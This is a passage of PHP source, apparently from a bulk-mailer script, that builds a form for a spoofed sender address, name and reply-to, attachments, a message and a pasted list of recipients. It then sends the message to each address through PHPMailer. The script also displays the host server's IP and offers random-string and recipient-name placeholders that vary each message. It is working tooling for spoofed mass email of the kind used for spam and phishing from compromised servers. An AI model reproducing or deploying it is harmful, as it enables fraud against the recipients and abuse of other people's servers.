                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
2532
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
2533
            </div>
2534
            <div class="row">
2535
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
2536
                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
2537
            </div>
2538
            <div class="row">
2539
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
2540
            </div>
2541
            <div class="row">
2542
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
2543
                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
2544
            </div>
2545
            <div class="row">
2546
                <div class="form-group col-lg-6 ">
2547
                    <label for="messageType">Message Type</label>
2548
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
2549
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
2550
                </div>
2551
                <div class="form-group col-lg-3 ">
2552
                    <label for="encode">Encode Type</label>
2553
                    <select class="form-control input-sm" id="encode" name="encode">
2554
                        <option value="UTF-8" selected>UTF-8 Encode</option>
2555
                        <option value="UTF-8">ISO Encode</option>
2556
                    </select>
2557
                </div>
2558
            </div> 
2559
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
2560
        </form>
2561
    </div>
2562
    <div class="col-lg-6"><br>
2563
        <label for="well">Instruction</label>
2564
        <div id="well" class="well well">
2565
            <h4>Server Information</h4>
2566
            <ul>
2567
                <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
2568
            </ul>
2569
            <h4>HELP</h4>
2570
            <ul>
2571
                <li>[-email-] : <b>Reciver Email</b></li>
2572
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
2573
                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
2574
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
2575
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
2576
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
2577
                <li>[-randommd5-] : <b>Random MD5 </b></li>
2578
            </ul>
2579
            <h4>example</h4>
2580
            Reciver Email = <b>user@domain.com</b><br>
2581
            <ul>
2582
                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
2583
                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
2584
            </ul>
2585
            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
2586
        </div>
2587
    </div>';    
2588
if($_POST['action']=="send"){
2589
    print '    <div class="col-lg-12">';
2590
    $maillist=explode("\r\n", $emailList);
2591
    $n=count($maillist);
2592
    $x =1;
2593
    foreach ($maillist as $email ) {
2594
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
2595
        if(!leafMailCheck($email)) {
2596
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
2597
            print "<br>\r\n";
2598
        }
2599
        else {
2600
            $mail = new PHPMailer;
2601
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
2602
            $mail->addReplyTo(leafClear($replyTo,$email));
2603
            $mail->addAddress($email);
2604
            $mail->Subject = leafClear($subject,$email);
2605
            $mail->Body =  leafClear($messageLetter,$email);
2606
            $mail->CharSet = $encode;
2607
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
2608
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
2609
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
2610
                }
2611
            }
2612
            if($messageType==1){$mail->IsHTML(true);}
2613
            else {$mail->IsHTML(false);}
2614
            if (!$mail->send()) {
2615
                echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
2616
            }
2617
            else {
2618
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
2619
            }
2620
            print "<br>\r\n";
2621
        }
2622
        $x++;
2623
        for($k = 0; $k < 40000; $k++) {echo ' ';}
2624
    }
2625
}
2626
print '</body>';
2627
?>